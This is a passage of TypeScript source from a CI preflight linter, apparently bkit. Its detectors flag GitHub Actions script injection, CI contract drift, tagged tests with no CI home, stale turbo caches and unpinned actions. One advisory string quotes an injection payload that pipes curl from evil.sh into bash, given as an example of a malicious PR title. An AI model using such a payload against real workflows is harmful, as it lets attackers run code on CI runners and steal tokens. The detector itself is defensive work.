|
+
} else {
|
|
125
|
+
if (UNTRUSTED.test(line)) hits.push(line.trim());
|
|
126
|
+
continue;
|
|
127
|
+
}
|
|
128
|
+
}
|
|
129
|
+
if (/^\s*#/.test(line)) continue; // a commented `run:` key never opens a body
|
|
130
|
+
// `run:` may be the first key of a `- ` list item (`- run: |`), which shifts the real
|
|
131
|
+
// key column; body membership is measured from the `run:` token, not the line start, so a
|
|
132
|
+
// sibling key (`env:` / `if:`) at the run: column correctly closes the block.
|
|
133
|
+
const m = /^([ \t]*)(-[ \t]+)?run:[ \t]*(.*)$/.exec(line);
|
|
134
|
+
if (!m) continue;
|
|
135
|
+
const keyIndent = (m[1] ?? "").length + (m[2] ?? "").length;
|
|
136
|
+
const rest = (m[3] ?? "").trim();
|
|
137
|
+
if (rest === "" || /^[|>]/.test(rest)) {
|
|
138
|
+
runKeyIndent = keyIndent; // block scalar (`run: |` / `run: >`) — body follows
|
|
139
|
+
} else if (UNTRUSTED.test(rest)) {
|
|
140
|
+
hits.push(line.trim()); // inline `run: <cmd with ${{ … }}>`
|
|
141
|
+
}
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
if (hits.length === 0) return null;
|
|
145
|
+
const shown = hits
|
|
146
|
+
.slice(0, 3)
|
|
147
|
+
.map((h) => ` ${h}`)
|
|
148
|
+
.join("\n");
|
|
149
|
+
const more = hits.length > 3 ? `\n … (+${hits.length - 3} more)` : "";
|
|
150
|
+
return {
|
|
151
|
+
id: "ci-yml-run-injection",
|
|
152
|
+
severity: "advisory",
|
|
153
|
+
detect:
|
|
154
|
+
"SECURITY: .github/workflows/bkit-ci.yml interpolates untrusted GitHub Actions input " +
|
|
155
|
+
"(github.event.* / github.head_ref) directly into a run: shell body — a script-injection " +
|
|
156
|
+
'sink. A PR title or branch name like `"; curl evil.sh | bash; "` then runs on your CI ' +
|
|
157
|
+
`runner (which holds GITHUB_TOKEN):\n${shown}${more}`,
|
|
158
|
+
action:
|
|
159
|
+
"Route each untrusted value through an env: var and reference it as a shell variable — " +
|
|
160
|
+
"GitHub runtime-expands env values and never re-parses them as shell, closing the injection:\n\n" +
|
|
161
|
+
" - name: <step>\n" +
|
|
162
|
+
" env:\n" +
|
|
163
|
+
" PR_TITLE: ${{ github.event.pull_request.title }}\n" +
|
|
164
|
+
" run: |\n" +
|
|
165
|
+
' MSG="$PR_TITLE" # NOT MSG="${{ github.event.pull_request.title }}"\n\n' +
|
|
166
|
+
"Apply the same env-indirection to every flagged line (github.event.*, github.head_ref). " +
|
|
167
|
+
"bkit's current bkit-ci.yml template already uses this form — re-sync the affected steps from " +
|
|
168
|
+
".bkit/templates/.github/workflows/bkit-ci.yml if you adopted it before the hardening.",
|
|
169
|
+
};
|
|
170
|
+
}
|
|
171
|
+
|
|
172
|
+
/**
|
|
173
|
+
* Detect drift of the consumer's `bkit-tests-check` capstone from bkit's canonical
|
|
174
|
+
* CI contract. bkit-ci.yml is the consumer's copy of a template; bkit never rewrites it.
|
|
175
|
+
* WARNING-ONLY presence check: flags the ABSENCE of a known-good fragment, never
|
|
176
|
+
* "differs from canonical". Fires when bkit-ci.yml defines a bkit-tests-check job (the
|
|
177
|
+
* template ships one).
|
|
178
|
+
*
|
|
179
|
+
* Every check reads `code` (full-line comments stripped): the template's commented
|
|
180
|
+
* scaffold reference names `bkit-tests-check`, `!cancelled()` and `live_ran`.
|
|
181
|
+
*/
|
|
182
|
+
export function detectCiYmlCapstoneContractDrift(cwd: string): PreflightFinding | null {
|
|
183
|
+
const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
|
|
184
|
+
if (!fs.existsSync(ciPath)) return null;
|
|
185
|
+
const content = fs.readFileSync(ciPath, "utf-8");
|
|
186
|
+
const code = content
|
|
187
|
+
.split("\n")
|
|
188
|
+
.filter((line) => !/^\s*#/.test(line))
|
|
189
|
+
.join("\n");
|
|
190
|
+
if (!/^\s+bkit-tests-check:/m.test(code)) return null; // no capstone job
|
|
191
|
+
|
|
192
|
+
const missing: string[] = [];
|
|
193
|
+
|
|
194
|
+
// 1. Capstone must run on !cancelled() (NOT always()) — else a concurrency-cancel
|
|
195
|
+
// stamps a bogus failure on the required check and blocks release PRs.
|
|
196
|
+
if (!code.includes("!cancelled()")) {
|
|
197
|
+
missing.push(
|
|
198
|
+
"the capstone `if: ${{ !cancelled() }}` guard — without it a concurrency-cancel stamps a bogus failure on the required check (use `!cancelled()`, never `always()`).",
|
|
199
|
+
);
|
|
200
|
+
}
|
|
201
|
+
|
|
202
|
+
// 2. One run per branch or pull request. A newer run cancels the older one on every
|
|
203
|
+
// event EXCEPT the default branch, which queues (a cancellation mid-promote could
|
|
204
|
+
// strand production across two releases). The group keys a PR on its number and a push
|
|
205
|
+
// on the ref — not github.run_id, which never collides and so never cancels. A push
|
|
206
|
+
// then plans from the last green run.
|
|
207
|
+
// Flagged: an unconditional cancel (the default branch would be cancelled too), a
|
|
208
|
+
// PR-only cancel, or a group keyed on github.run_id.
|
|
209
|
+
const unconditionalCancel = /cancel-in-progress:\s*true(?:\s|$)/.test(code);
|
|
210
|
+
const prOnlyCancel =
|
|
211
|
+
/cancel-in-progress:\s*\$\{\{\s*github\.event_name\s*==\s*'pull_request'\s*\}\}/.test(code);
|
|
212
|
+
const runIdGroup = /group:[^\n]*github\.run_id/.test(code);
|
|
213
|
+
if (/concurrency:/.test(code) && (unconditionalCancel || prOnlyCancel || runIdGroup)) {
|
|
214
|
+
missing.push(
|
|
215
|
+
"one run per branch or pull request, with the default branch QUEUING — `cancel-in-progress: ${{ github.ref != 'refs/heads/<default-branch>' }}`, group `ci-${{ github.workflow }}-${{ github.event_name == 'pull_request' && format('pr-{0}', github.event.pull_request.number) || github.ref }}`. Cancelling the default branch mid-promote can strand production across two releases; a PR-only cancel, an unconditional cancel, or a group keyed on `github.run_id` also lets a superseded run keep running. A push plans from the last green run on the branch, so a cancelled run's changes stay in scope.",
|
|
216
|
+
);
|
|
217
|
+
}
|
|
218
|
+
|
|
219
|
+
// 3. Non-hollow capstone: every test lane's executed count must be read downstream, not
|
|
220
|
+
// just its result (passWithNoTests / no-CI-home / all-skipIf are green-with-zero).
|
|
221
|
+
// Checked per lane: one lane's count says nothing about another's.
|
|
222
|
+
const lanes = [
|
|
223
|
+
...code.matchAll(/^\s+(bkit-tests-(?:unit|integration|e2e|live)(?:-[a-z0-9]+)*):\s*$/gm),
|
|
224
|
+
].map((m) => m[1]);
|
|
225
|
+
const uncounted = lanes.filter(
|
|
226
|
+
(lane) => !new RegExp(`needs\\.${lane}\\.outputs\\.\\w+_(?:ran|count)\\b`).test(code),
|
|
227
|
+
);
|
|
228
|
+
if (uncounted.length > 0) {
|
|
229
|
+
missing.push(
|
|
230
|
+
`an executed-count assertion (non-hollow gate) for ${uncounted.map((l) => "`" + l + "`").join(", ")} — the capstone should read each lane's count output (e.g. \`needs.bkit-tests-live-web.outputs.live_ran\`) and assert >0 when that tier is planned, else passWithNoTests / a tagged suite with no CI home / all-skipIf tests pass vacuously. See docs/testing.md § "Validated means executed".`,
|
|
231
|
+
);
|
|
232
|
+
}
|
|
233
|
+
|
|
234
|
+
if (missing.length === 0) return null;
|
|
235
|
+
return {
|
|
236
|
+
id: "ci-yml-capstone-contract-drift",
|
|
237
|
+
severity: "advisory",
|
|
238
|
+
detect:
|
|
239
|
+
`.github/workflows/bkit-ci.yml (adopted from bkit's template) has a bkit-tests-check capstone missing ${missing.length} ` +
|
|
240
|
+
"load-bearing invariant(s) from bkit's canonical CI contract. bkit-ci.yml is yours to own, so bkit can't rewrite it — this is a heads-up, not a hard failure.",
|
|
241
|
+
action:
|
|
242
|
+
"Consider restoring these to keep `green == validated` (see the FULL CI SCAFFOLD REFERENCE in the bkit bkit-ci.yml template):\n\n" +
|
|
243
|
+
missing.map((m) => " - " + m).join("\n"),
|
|
244
|
+
};
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
// Tag-gated tiers invoked via a per-package script: a tagged test whose owning package
|
|
248
|
+
// declares no matching script is silently skipped by `turbo run <script>` (exits 0) —
|
|
249
|
+
// the tag is dead and the tier ghost-greens. Suffix-based tiers (integration via
|
|
250
|
+
// *.integration.test.ts) are covered by the bkit-ci.yml template's own missing-script warning.
|
|
251
|
+
const TAG_SCRIPT_HOMES: ReadonlyArray<{ tag: string; script: string }> = [
|
|
252
|
+
{ tag: "@live", script: "test:live" },
|
|
253
|
+
{ tag: "@smoke", script: "test:smoke" },
|
|
254
|
+
];
|
|
255
|
+
|
|
256
|
+
const HOME_WALK_SKIP_DIRS = new Set([
|
|
257
|
+
"node_modules",
|
|
258
|
+
".git",
|
|
259
|
+
".worktrees", // local git worktree roots — checkouts of the same repo, not part of it
|
|
260
|
+
"dist",
|
|
261
|
+
".next",
|
|
262
|
+
"coverage",
|
|
263
|
+
".turbo",
|
|
264
|
+
"playwright-report",
|
|
265
|
+
"test-results",
|
|
266
|
+
".vercel",
|
|
267
|
+
]);
|
|
268
|
+
|
|
269
|
+
function walkRepoForHomeCheck(
|
|
270
|
+
dir: string,
|
|
271
|
+
testFiles: string[],
|
|
272
|
+
packageJsons: string[],
|
|
273
|
+
depth = 0,
|
|
274
|
+
): void {
|
|
275
|
+
if (depth > 8) return;
|
|
276
|
+
let entries: fs.Dirent[];
|
|
277
|
+
try {
|
|
278
|
+
entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
279
|
+
} catch (err) {
|
|
280
|
+
// Unreadable directory (permissions / not-a-dir race): skip this subtree, logged
|
|
281
|
+
// under BKIT_DEBUG.
|
|
282
|
+
if (process.env.BKIT_DEBUG)
|
|
283
|
+
console.error(`[bkit] home-check skipped ${dir}: ${(err as Error).message}`);
|
|
284
|
+
return;
|
|
285
|
+
}
|
|
286
|
+
for (const e of entries) {
|
|
287
|
+
const full = path.join(dir, e.name);
|
|
288
|
+
if (e.isDirectory()) {
|
|
289
|
+
if (HOME_WALK_SKIP_DIRS.has(e.name)) continue;
|
|
290
|
+
walkRepoForHomeCheck(full, testFiles, packageJsons, depth + 1);
|
|
291
|
+
} else if (e.name === "package.json") {
|
|
292
|
+
packageJsons.push(full);
|
|
293
|
+
} else if (/\.(test|spec)\.[cm]?tsx?$/.test(e.name)) {
|
|
294
|
+
testFiles.push(full);
|
|
295
|
+
}
|
|
296
|
+
}
|
|
297
|
+
}
|
|
298
|
+
|
|
299
|
+
// A tag gates a tier by appearing in a test's NAME — the runner selects it with a
|
|
300
|
+
// `-t @live` / `--testNamePattern` filter, which matches the test TITLE. So only a tag
|
|
301
|
+
// inside a test-title string is a real tagged test; the same token in a code comment or
|
|
302
|
+
// an unrelated string literal (e.g. a doc-comment that documents the convention) is not.
|
|
303
|
+
// Matches the tag inside the title argument of it / test / describe / bench / suite,
|
|
304
|
+
// including `.only` / `.skip` / `.each(table)` chains and ' " ` quotes.
|
|
305
|
+
const TEST_DEF_TITLE =
|
|
306
|
+
/\b(?:it|test|describe|bench|suite)(?:\.\w+)*\s*(?:\([^)]*\)\s*)?\(\s*(['"`])((?:\\.|(?!\1)[\s\S])*?)\1/g;
|
|
307
|
+
|
|
308
|
+
// Mark every byte that sits inside a string, template literal, or comment. A REAL
|
|
309
|
+
// test definition's `it`/`describe` keyword is code (mask 0); a keyword that appears
|
|
310
|
+
// INSIDE a string is a fixture — a tag-linter package embeds sample test source as a
|
|
311
|
+
// string literal (`const F = \`describe("@live X", …)\``) to lint it. Masked keyword
|
|
312
|
+
// positions are skipped; real, runnable tests are never authored inside a quote.
|
|
313
|
+
//
|
|
314
|
+
// `'`/`"` strings terminate at end-of-line; only template literals span lines, so a
|
|
315
|
+
// mis-lex from a regex literal containing a lone quote stays on its own line. Regex
|
|
316
|
+
// literals are otherwise treated as plain code.
|
|
317
|
+
function stringCommentMask(text: string): Uint8Array {
|
|
318
|
+
const mask = new Uint8Array(text.length);
|
|
319
|
+
const n = text.length;
|
|
320
|
+
let i = 0;
|
|
321
|
+
while (i < n) {
|
|
322
|
+
const c = text[i];
|
|
323
|
+
if (c === "/" && text[i + 1] === "/") {
|
|
324
|
+
while (i < n && text[i] !== "\n") mask[i++] = 1;
|
|
325
|
+
continue;
|
|
326
|
+
}
|
|
327
|
+
if (c === "/" && text[i + 1] === "*") {
|
|
328
|
+
mask[i++] = 1;
|
|
329
|
+
mask[i++] = 1;
|
|
330
|
+
while (i < n && !(text[i] === "*" && text[i + 1] === "/")) mask[i++] = 1;
|
|
331
|
+
if (i < n) {
|
|
332
|
+
mask[i++] = 1;
|
|
333
|
+
mask[i++] = 1;
|
|
334
|
+
}
|
|
335
|
+
continue;
|
|
336
|
+
}
|
|
337
|
+
if (c === '"' || c === "'" || c === "`") {
|
|
338
|
+
const singleLine = c !== "`";
|
|
339
|
+
mask[i++] = 1;
|
|
340
|
+
while (i < n) {
|
|
341
|
+
if (text[i] === "\\") {
|
|
342
|
+
mask[i++] = 1;
|
|
343
|
+
if (i < n) mask[i++] = 1;
|
|
344
|
+
continue;
|
|
345
|
+
}
|
|
346
|
+
if (text[i] === c) {
|
|
347
|
+
mask[i++] = 1;
|
|
348
|
+
break;
|
|
349
|
+
}
|
|
350
|
+
if (singleLine && text[i] === "\n") break; // unterminated — stop at line end
|
|
351
|
+
mask[i++] = 1;
|
|
352
|
+
}
|
|
353
|
+
continue;
|
|
354
|
+
}
|
|
355
|
+
i++;
|
|
356
|
+
}
|
|
357
|
+
return mask;
|
|
358
|
+
}
|
|
359
|
+
|
|
360
|
+
function tagUsedInTestTitle(text: string, tag: string, mask: Uint8Array): boolean {
|
|
361
|
+
TEST_DEF_TITLE.lastIndex = 0;
|
|
362
|
+
let m: RegExpExecArray | null;
|
|
363
|
+
while ((m = TEST_DEF_TITLE.exec(text)) !== null) {
|
|
364
|
+
if (mask[m.index]) continue; // keyword sits inside a string/comment — a fixture, not a real test
|
|
365
|
+
if (m[2].includes(tag)) return true;
|
|
366
|
+
}
|
|
367
|
+
return false;
|
|
368
|
+
}
|
|
369
|
+
|
|
370
|
+
/**
|
|
371
|
+
* Detect `@live` / `@smoke`-tagged tests whose owning package declares no matching
|
|
372
|
+
* `test:live` / `test:smoke` script — they have "no CI home": `turbo run test:live`
|
|
373
|
+
* skips a package with no such script and exits 0, so the tagged tests never run and the
|
|
374
|
+
* live/smoke tier reports green having executed nothing.
|
|
375
|
+
*
|
|
376
|
+
* Only flags a tag when the convention is ACTIVE in the repo (at least one package
|
|
377
|
+
* declares the script); a silent no-op otherwise. WARNING-only; the capstone's
|
|
378
|
+
* `run_live => live_ran > 0` assertion is the runtime check.
|
|
379
|
+
*
|
|
380
|
+
* A package whose own `package.json` opts out (`bkit.ignoreAdvisories`) is dropped from the
|
|
381
|
+
* list and reported via `onSuppressed`; sibling packages keep flagging, because the finding
|
|
382
|
+
* aggregates every affected package into one entry.
|
|
383
|
+
*/
|
|
384
|
+
export function detectTaggedTestsWithoutCiHome(
|
|
385
|
+
cwd: string,
|
|
386
|
+
onSuppressed?: SuppressionReporter,
|
|
387
|
+
): PreflightFinding | null {
|
|
388
|
+
const testFiles: string[] = [];
|
|
389
|
+
const packageJsons: string[] = [];
|
|
390
|
+
walkRepoForHomeCheck(cwd, testFiles, packageJsons);
|
|
391
|
+
if (testFiles.length === 0 || packageJsons.length === 0) return null;
|
|
392
|
+
|
|
393
|
+
// pkgPath -> scripts object; and the set of every script name declared anywhere.
|
|
394
|
+
const pkgScripts = new Map<string, Record<string, unknown>>();
|
|
395
|
+
const declaredScripts = new Set<string>();
|
|
396
|
+
for (const pj of packageJsons) {
|
|
397
|
+
try {
|
|
398
|
+
const parsed = JSON.parse(fs.readFileSync(pj, "utf-8")) as Record<string, unknown>;
|
|
399
|
+
const scripts = (parsed.scripts as Record<string, unknown>) ?? {};
|
|
400
|
+
pkgScripts.set(pj, scripts);
|
|
401
|
+
for (const name of Object.keys(scripts)) declaredScripts.add(name);
|
|
402
|
+
} catch {
|
|
403
|
+
pkgScripts.set(pj, {});
|
|
404
|
+
}
|
|
405
|
+
}
|
|
406
|
+
|
|
407
|
+
const nearestPkg = (fileDir: string): string | null => {
|
|
408
|
+
let dir = fileDir;
|
|
409
|
+
for (;;) {
|
|
410
|
+
const pj = path.join(dir, "package.json");
|
|
411
|
+
if (pkgScripts.has(pj)) return pj;
|
|
412
|
+
const parent = path.dirname(dir);
|
|
413
|
+
if (parent === dir || dir === cwd) return pkgScripts.has(pj) ? pj : null;
|
|
414
|
+
dir = parent;
|
|
415
|
+
}
|
|
416
|
+
};
|
|
417
|
+
|
|
418
|
+
const homeless = new Map<string, Set<string>>(); // tag -> set of "pkgdir (needs `script`)"
|
|
419
|
+
const suppressedPkgs = new Set<string>(); // pkgs opted out — one note each, however many files
|
|
420
|
+
for (const file of testFiles) {
|
|
421
|
+
let text: string;
|
|
422
|
+
try {
|
|
423
|
+
text = fs.readFileSync(file, "utf-8");
|
|
424
|
+
} catch {
|
|
425
|
+
continue;
|
|
426
|
+
}
|
|
427
|
+
let mask: Uint8Array | null = null; // lazily built on the first tag that survives fast-reject
|
|
428
|
+
for (const { tag, script } of TAG_SCRIPT_HOMES) {
|
|
429
|
+
if (!declaredScripts.has(script)) continue; // convention not active for this tag
|
|
430
|
+
if (!text.includes(tag)) continue; // fast reject before the title-context regex
|
|
431
|
+
mask ??= stringCommentMask(text);
|
|
432
|
+
if (!tagUsedInTestTitle(text, tag, mask)) continue; // tag must be in a real test TITLE, not a comment/string/fixture
|
|
433
|
+
const pj = nearestPkg(path.dirname(file));
|
|
434
|
+
if (!pj) continue;
|
|
435
|
+
if (typeof pkgScripts.get(pj)?.[script] !== "string") {
|
|
436
|
+
const pkgDir = path.dirname(pj);
|
|
437
|
+
const rel = path.relative(cwd, pkgDir) || ".";
|
|
438
|
+
if (isAdvisorySuppressed(pkgDir, "tagged-tests-no-ci-home", "advisory")) {
|
|
439
|
+
if (!suppressedPkgs.has(rel)) {
|
|
440
|
+
suppressedPkgs.add(rel);
|
|
441
|
+
onSuppressed?.({ id: "tagged-tests-no-ci-home", scope: rel });
|
|
442
|
+
}
|
|
443
|
+
continue; // drop only this package; a sibling package keeps flagging
|
|
444
|
+
}
|
|
445
|
+
if (!homeless.has(tag)) homeless.set(tag, new Set());
|
|
446
|
+
homeless.get(tag)?.add(rel);
|
|
447
|
+
}
|
|
448
|
+
}
|
|
449
|
+
}
|
|
450
|
+
|
|
451
|
+
if (homeless.size === 0) return null;
|
|
452
|
+
const lines: string[] = [];
|
|
453
|
+
for (const { tag, script } of TAG_SCRIPT_HOMES) {
|
|
454
|
+
const pkgs = homeless.get(tag);
|
|
455
|
+
if (pkgs && pkgs.size > 0) {
|
|
456
|
+
lines.push(
|
|
457
|
+
` ${tag} (run by \`turbo run ${script}\`) → add \`${script}\` to: ${[...pkgs].sort().join(", ")}`,
|
|
458
|
+
);
|
|
459
|
+
}
|
|
460
|
+
}
|
|
461
|
+
return {
|
|
462
|
+
id: "tagged-tests-no-ci-home",
|
|
463
|
+
severity: "advisory",
|
|
464
|
+
detect:
|
|
465
|
+
"Found `@live`/`@smoke`-tagged tests in package(s) that declare no matching `test:live`/`test:smoke` script. `turbo run test:live` skips a package with no such script and exits 0 — the tagged tests never run, and the tier reports green having executed nothing (ghost-green / 'no CI home').",
|
|
466
|
+
action:
|
|
467
|
+
"Give each tagged suite a CI home — add the matching script to the package's package.json so the live/smoke tier actually invokes it:\n\n" +
|
|
468
|
+
lines.join("\n") +
|
|
469
|
+
'\n\nExample: `"test:live": "vitest run --project live"` (or your runner\'s tag filter). The bkit-tests-check capstone\'s `run_live => live_ran > 0` assertion is the runtime backstop; this catches it earlier.' +
|
|
470
|
+
"\n\nFalse positive? A title that only MENTIONS the tag (a rule linter describing it, a meta/guard test naming the scenario) is indistinguishable from a real tagged test. Opt that package out in its package.json — per-package, and it drops only that package from this list:\n\n" +
|
|
471
|
+
' "bkit": { "ignoreAdvisories": ["tagged-tests-no-ci-home"] }',
|
|
472
|
+
};
|
|
473
|
+
}
|
|
474
|
+
|
|
475
|
+
// ---------------------------------------------------------------------------
|
|
476
|
+
// Consumer customisations that bkit ships primitives for but does NOT enforce
|
|
477
|
+
// — turbo inputs, integration runtime env, GHA pinning, renovate, etc.
|
|
478
|
+
// ---------------------------------------------------------------------------
|
|
479
|
+
|
|
480
|
+
/**
|
|
481
|
+
* Detect whether the consumer's turbo.json declares external-state proxies in
|
|
482
|
+
* `inputs` for `test:integration` / `test:e2e` tasks. Without proxies, turbo's
|
|
483
|
+
* content-keyed cache can replay a stale green when external state (Supabase
|
|
484
|
+
* migrations, fixture data, env templates) changed — the BAR-192 ghost-green
|
|
485
|
+
* failure mode documented in KN-24. Returns null when no turbo.json or no
|
|
486
|
+
* matching tasks.
|
|
487
|
+
*/
|
|
488
|
+
export function detectTurboIntegrationInputs(cwd: string): PreflightFinding[] {
|
|
489
|
+
const findings: PreflightFinding[] = [];
|
|
490
|
+
const turboPath = path.join(cwd, "turbo.json");
|
|
491
|
+
if (!fs.existsSync(turboPath)) return findings;
|
|
492
|
+
let doc: { tasks?: Record<string, unknown>; pipeline?: Record<string, unknown> };
|
|
493
|
+
try {
|
|
494
|
+
doc = JSON.parse(fs.readFileSync(turboPath, "utf-8")) as typeof doc;
|
|
495
|
+
} catch {
|
|
496
|
+
return findings;
|
|
497
|
+
}
|
|
498
|
+
// turbo v2 → `tasks`; turbo v1 → `pipeline`. Either may be present.
|
|
499
|
+
const tasks = doc.tasks ?? doc.pipeline ?? {};
|
|
500
|
+
const externalProxyHints = ["migrations", "fixtures", "seed", ".env"];
|
|
501
|
+
for (const taskName of ["test:integration", "test:e2e"]) {
|
|
502
|
+
const task = (tasks as Record<string, unknown>)[taskName] as { inputs?: unknown[] } | undefined;
|
|
503
|
+
if (!task) continue;
|
|
504
|
+
const inputs = Array.isArray(task.inputs) ? (task.inputs as string[]) : [];
|
|
505
|
+
const hasProxy = inputs.some((i) =>
|
|
506
|
+
externalProxyHints.some((hint) => typeof i === "string" && i.toLowerCase().includes(hint)),
|
|
507
|
+
);
|
|
508
|
+
if (hasProxy) continue;
|
|
509
|
+
findings.push({
|
|
510
|
+
id: `turbo-${taskName.replace(":", "-")}-inputs-missing`,
|
|
511
|
+
severity: "advisory",
|
|
512
|
+
detect: `turbo.json#${tasks === doc.pipeline ? "pipeline" : "tasks"}.${taskName} has no external-state proxies in \`inputs\` (no migrations / fixtures / seed / .env entries).`,
|
|
513
|
+
action:
|
|
514
|
+
`Add the external-state proxies that affect this task's outcome to \`inputs\`:\n\n` +
|
|
515
|
+
` "${taskName}": {\n` +
|
|
516
|
+
` "cache": true,\n` +
|
|
517
|
+
` "inputs": ["supabase/migrations/**", "**/fixtures/**", "**/.env.*.template"]\n` +
|
|
518
|
+
` }\n\n` +
|
|
519
|
+
`Without them, turbo cache replays can ghost-green a stale SHA (KN-24): a concurrent migration on dev between PR-CI and merge-CI does NOT bust the cache, so the merge run replays the pre-migration green. Adjust the glob set to match your consumer's external-state surface.`,
|
|
520
|
+
});
|
|
521
|
+
}
|
|
522
|
+
return findings;
|
|
523
|
+
}
|
|
524
|
+
|
|
525
|
+
/**
|
|
526
|
+
* Detect whether the consumer's `test:integration` lane asserts real-service runtime
|
|
527
|
+
* env (TEST_REAL_APIS, SUPABASE_*, service-role URL refs). A lane that silently mocks
|
|
528
|
+
* integration tests passes CI without exercising real services (KN-23). Returns null if
|
|
529
|
+
* no `test:integration` script.
|
|
530
|
+
*
|
|
531
|
+
* All three gating layers are inspected before flagging a no-op lane: (1) the script
|
|
532
|
+
* string itself, (2) the CI workflow job that invokes `test:integration` (an
|
|
533
|
+
* env-agnostic script provisioned at the lane), (3) the vitest integration config the
|
|
534
|
+
* script points at (home of the documented in-file guard).
|
|
535
|
+
*
|
|
536
|
+
* Root-scoped opt-out: this detector reads only the root `package.json`, so a `bkit.ignoreAdvisories`
|
|
537
|
+
* entry there drops the finding and reports it via `onSuppressed`.
|
|
538
|
+
*/
|
|
539
|
+
export function detectTestIntegrationEnv(
|
|
540
|
+
cwd: string,
|
|
541
|
+
onSuppressed?: SuppressionReporter,
|
|
542
|
+
): PreflightFinding | null {
|
|
543
|
+
const read = readPackageJson(cwd);
|
|
544
|
+
if (!read.ok) return null;
|
|
545
|
+
const pkg = read.pkg as { scripts?: Record<string, string> };
|
|
546
|
+
const script = pkg.scripts?.["test:integration"];
|
|
547
|
+
if (!script) return null;
|
|
548
|
+
if (isAdvisorySuppressed(cwd, "test-integration-env-not-asserted", "advisory")) {
|
|
549
|
+
onSuppressed?.({ id: "test-integration-env-not-asserted", scope: "." });
|
|
550
|
+
return null;
|
|
551
|
+
}
|
|
552
|
+
const realServiceHints = [
|
|
553
|
+
"TEST_REAL_APIS",
|
|
554
|
+
"SUPABASE_SERVICE_ROLE",
|
|
555
|
+
"SUPABASE_URL",
|
|
556
|
+
"service_role",
|
|
557
|
+
"supabase start",
|
|
558
|
+
];
|
|
559
|
+
const hasHint = (t: string): boolean => realServiceHints.some((h) => t.includes(h));
|
|
560
|
+
|
|
561
|
+
// 1. Script body / chain (consumers commonly wrap real-API setup in a sibling script).
|
|
562
|
+
if (hasHint(script)) return null;
|
|
563
|
+
|
|
564
|
+
// 2. CI workflow lane: a workflow file that BOTH invokes `test:integration` AND
|
|
565
|
+
// provisions a real-service hint is the lane doing the gating — the pattern for an
|
|
566
|
+
// env-agnostic script (`supabase start` + `TEST_REAL_APIS` +
|
|
567
|
+
// service-role export around `turbo run test:integration`).
|
|
568
|
+
const workflowsDir = path.join(cwd, ".github", "workflows");
|
|
569
|
+
if (fs.existsSync(workflowsDir) && fs.statSync(workflowsDir).isDirectory()) {
|
|
570
|
+
for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
|
|
571
|
+
if (!entry.isFile() || !/\.ya?ml$/.test(entry.name)) continue;
|
|
572
|
+
const wf = fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8");
|
|
573
|
+
if (wf.includes("test:integration") && hasHint(wf)) return null;
|
|
574
|
+
}
|
|
575
|
+
}
|
|
576
|
+
|
|
577
|
+
// 3. vitest integration config the script points at (or a conventional default) —
|
|
578
|
+
// where consumers document/enforce the per-file `TEST_REAL_APIS` guard.
|
|
579
|
+
const configFromScript = /--config[=\s]+(\S+)/.exec(script)?.[1];
|
|
580
|
+
const configCandidates = [
|
|
581
|
+
...(configFromScript ? [configFromScript] : []),
|
|
582
|
+
"vitest.integration.config.ts",
|
|
583
|
+
"vitest.integration.config.mts",
|
|
584
|
+
"vitest.integration.config.js",
|
|
585
|
+
];
|
|
586
|
+
for (const rel of configCandidates) {
|
|
587
|
+
const cfgPath = path.join(cwd, rel);
|
|
588
|
+
if (fs.existsSync(cfgPath) && hasHint(fs.readFileSync(cfgPath, "utf-8"))) return null;
|
|
589
|
+
}
|
|
590
|
+
|
|
591
|
+
return {
|
|
592
|
+
id: "test-integration-env-not-asserted",
|
|
593
|
+
severity: "advisory",
|
|
594
|
+
detect:
|
|
595
|
+
"`package.json#scripts.test:integration` exists, but no real-service env gating (TEST_REAL_APIS, SUPABASE_SERVICE_ROLE, service-role URL, or a `supabase start` chain) was found in the script, the CI workflow lane that runs it, or the vitest integration config.",
|
|
596
|
+
action:
|
|
597
|
+
"Confirm integration tests actually exercise real services — otherwise the CI integration step (your own, or the one in bkit's bkit-ci.yml template once adopted) is a no-op (KN-23 false-confidence loop). Provision the real-service env at ANY one of these layers (all are recognised):\n\n" +
|
|
598
|
+
' - script: "test:integration": "TEST_REAL_APIS=true SUPABASE_URL=$SUPABASE_DEV_URL vitest run --config=vitest.integration.config.ts"\n' +
|
|
599
|
+
" - CI lane: set `TEST_REAL_APIS` / export the service-role URL / chain `supabase start` around `turbo run test:integration` in the `.github/workflows/*.yml` job that runs it (keeps local `pnpm test:integration` env-agnostic)\n" +
|
|
600
|
+
" - vitest integration config: document/enforce the per-file `TEST_REAL_APIS` guard in the config the script `--config`s to.\n\n" +
|
|
601
|
+
"Mocked by design (real-service coverage lives in E2E)? Opt out in the root package.json:\n\n" +
|
|
602
|
+
' "bkit": { "ignoreAdvisories": ["test-integration-env-not-asserted"] }',
|
|
603
|
+
};
|
|
604
|
+
}
|
|
605
|
+
|
|
606
|
+
/**
|
|
607
|
+
* Detect whether `.github/workflows/<file>.yml` uses floating action tag
|
|
608
|
+
* references (`uses: <owner>/<repo>@v\d+`) without SHA pinning. KN-3 mandates
|
|
609
|
+
* SHA pins for any workflow that runs with elevated permissions. Every workflow file
|
|
610
|
+
* is the consumer's (bkit ships workflows as templates only), so every one is scanned.
|
|
611
|
+
*/
|
|
612
|
+
export function detectGhaFloatingTags(cwd: string): PreflightFinding | null {
|
|
613
|
+
const workflowsDir = path.join(cwd, ".github", "workflows");
|
|
614
|
+
if (!fs.existsSync(workflowsDir) || !fs.statSync(workflowsDir).isDirectory()) return null;
|
|
615
|
+
const floatingByFile = new Map<string, string[]>();
|
|
616
|
+
for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
|
|
617
|
+
if (!entry.isFile()) continue;
|
|
618
|
+
if (!/\.ya?ml$/.test(entry.name)) continue;
|
|
619
|
+
const content = fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8");
|
|
620
|
+
// Matches `uses: org/repo@v1`, `uses: org/repo@v1.2.3`, but NOT `uses: org/repo@<40-char-sha>`.
|
|
621
|
+
const re = /uses:\s*([^\s@]+@v[\d.]+)/g;
|
|
622
|
+
const matches = Array.from(content.matchAll(re), (m) => m[1]!);
|
|
623
|
+
if (matches.length > 0) floatingByFile.set(entry.name, matches);
|
|
624
|
+
}
|
|
625
|
+
if (floatingByFile.size === 0) return null;
|
|
626
|
+
const lines = Array.from(floatingByFile.entries())
|
|
627
|
